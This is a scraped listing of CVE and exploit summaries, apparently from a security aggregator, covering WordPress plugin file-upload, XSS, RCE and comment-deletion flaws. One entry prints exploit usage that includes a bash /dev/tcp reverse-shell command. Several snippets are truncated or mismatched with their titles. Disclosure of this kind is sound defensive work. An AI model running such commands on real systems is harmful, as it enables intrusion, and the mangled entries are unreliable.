CVE-2026-3844

CVE-2026-3844 Breeze Cache ≤ 2.4.4 - Unauthenticated Arbitrary File Upload ⚠️ Disclaimer root@kitploit: THIS TOOL IS PROVIDED FOR EDUCATIONAL AND SECURITY RESEARCH PURPOSES ONLY. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission t...

CVE-2026-89274-wp-recipe-maker-poc

CVE-2026-89274 - WP Recipe Maker Arbitrary Shortcode Execution Validation Lab Security-research material for reproducing and validating CVE-2026-89274 : WP Recipe Maker Use only on systems you own or are explicitly authorized to test. The PoC posts one rating comment containing a lab-registered...

Wordpress_cve-2019-9787_defense

Wordpresscve-2019-9787defense Aviso Este es un proyecto de Sijia Zhanghttps://github.com/sijiahi y Bowen Zhouhttps://github.com/KonjakZhou Requisito previo: 1 Ataque de recurrencia: root@kitploit: - Configure e instale Wordpress5.0 en http://localhost/wp-admin/; - Inicie sesión en Wordpress como...

CVE-2021-28378

CVE-2021-28378 Detalles sobre este CVE aquí. Este CVE se debe a la ausencia de escape de cadenas en el lado del cliente para el contenido obtenido desde el servidor. Permite a un atacante inyectar código arbitrario fácilmente, creando un comentario en un issue o un pull request. Esto fue...

CVE-2025-29775

es-define-property Object.defineProperty, but not IE 8's broken one...

Reflected-XSS-on-Opentext-Portal-v7.4.4

Vulnerabilidad de Cross-site scripting XSS en OpenText Portal v7.4.4 permite a atacantes remotos inyectar script web arbitrario o código HTML a través del parámetro URI vgnextoid. Vector de ataque: inyección de JavaScript en el parámetro vgnextoid precedido de "--" secuencia de cierre de comentar...

CVE-2022-35500

CVE-2022-35500 Cross-Site Scripting XSS almacenado en la funcionalidad de dejar comentarios en Amasty Blog Pro para Magento 2 Descripción La funcionalidad de dejar comentarios en el plugin Amasty Blog Pro 2.10.3 y 2.10.4 para Magento 2 permite la inyección de código JavaScript en la mutación...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2009-4623

CVE-2009-4623 Sistema de Comentarios Avanzado 1.0 Reverse Shell Múltiples vulnerabilidades de inclusión remota de archivos PHP en Advanced Comment System 1.0 permiten a atacantes remotos ejecutar código PHP arbitrario a través de una URL en el parámetro ACSpath hacia 1 index.php y 2 admin.php en...

CVE-2026-68919

GoCD (a continuous delivery server) is affected by a stored cross-site scripting (XSS) vulnerability (CVSS 4.0: 7.0 HIGH ) in versions 13.3.0 through 26.1.0. The root cause is improper encoding and escaping of material modification comments that mimic the trackback format used by package material...

CVE-2024-4439

CVE-2024-4439 CVE-2024-4439 docker and poc Configuración del laboratorio Después de iniciar el contenedor Docker, se necesitan algunos ajustes adicionales. Accede a 127.0.0.1:8080 y, una vez completada la configuración, en el panel de administración: Apariencia → Temas, selecciona un tema,...

CVE-2026-16651

The temporalio/sqlparser library, used by Temporal Server , can panic when parsing a MySQL version comment that is empty or contains only one to five decimal digits. The root cause is in ExtractMysqlComment , which does not handle the -1 return value from strings.IndexFunc before using it as a sl...

WordPress Asset CleanUp: Page Speed Booster plugin <= 1.4.0.5 - Unauthenticated Stored Cross-Site Scripting via Comment Content vulnerability

Unauthenticated Stored Cross-Site Scripting via Comment Content vulnerability discovered by Pham Duc Anh in WordPress Plugin Asset CleanUp: Page Speed Booster versions = 1.4.0.5...

CVE-2023-5024

Exploit Title: PLANNO 23.04.04 COMMENT CROSS SITE SCRIPTING Exploit Author: Angel Metz AKA PH03N1XSP Vendor Homepage: Planno Software Link: GitHub - PlanningBiblio Version: alert1; 4. Una vez introducido el script, proceda a obtener el XSS reflejado. 2ª Vía 1. Proceda a iniciar sesión usando sus...

ExportDumper

ExportDumper A small tool I made to dump the export table of PE files. The primary use case was intended for use within DLL proxying. Usage root@kitploit: .\ExportDump dllpath e.g. root@kitploit: .\ExportDump C:\Windows\System32\version.dll Dumping all 17 exported functions from...

CVE-2026-87839

The Tripzzy WordPress plugin before 1.5.1 does not have authorisation checks, and does not validate the identifier of the object being removed, in an AJAX action available to unauthenticated users, allowing them to permanently delete arbitrary comments on the site...

CVE-2026-87839 Tripzzy < 1.5.1 - Unauthenticated Arbitrary Comment Deletion

The Tripzzy WordPress plugin before 1.5.1 does not have authorisation checks, and does not validate the identifier of the object being removed, in an AJAX action available to unauthenticated users, allowing them to permanently delete arbitrary comments on the site...

EUVD-2026-83672

The Tripzzy WordPress plugin before 1.5.1 does not have authorisation checks, and does not validate the identifier of the object being removed, in an AJAX action available to unauthenticated users, allowing them to permanently delete arbitrary comments on the site...

CVE-2026-87839 Tripzzy < 1.5.1 - Unauthenticated Arbitrary Comment Deletion

The Tripzzy WordPress plugin before 1.5.1 does not have authorisation checks, and does not validate the identifier of the object being removed, in an AJAX action available to unauthenticated users, allowing them to permanently delete arbitrary comments on the site...

CVE-2026-87839

The Tripzzy WordPress plugin before 1.5.1 does not have authorisation checks, and does not validate the identifier of the object being removed, in an AJAX action available to unauthenticated users, allowing them to permanently delete arbitrary comments on the site...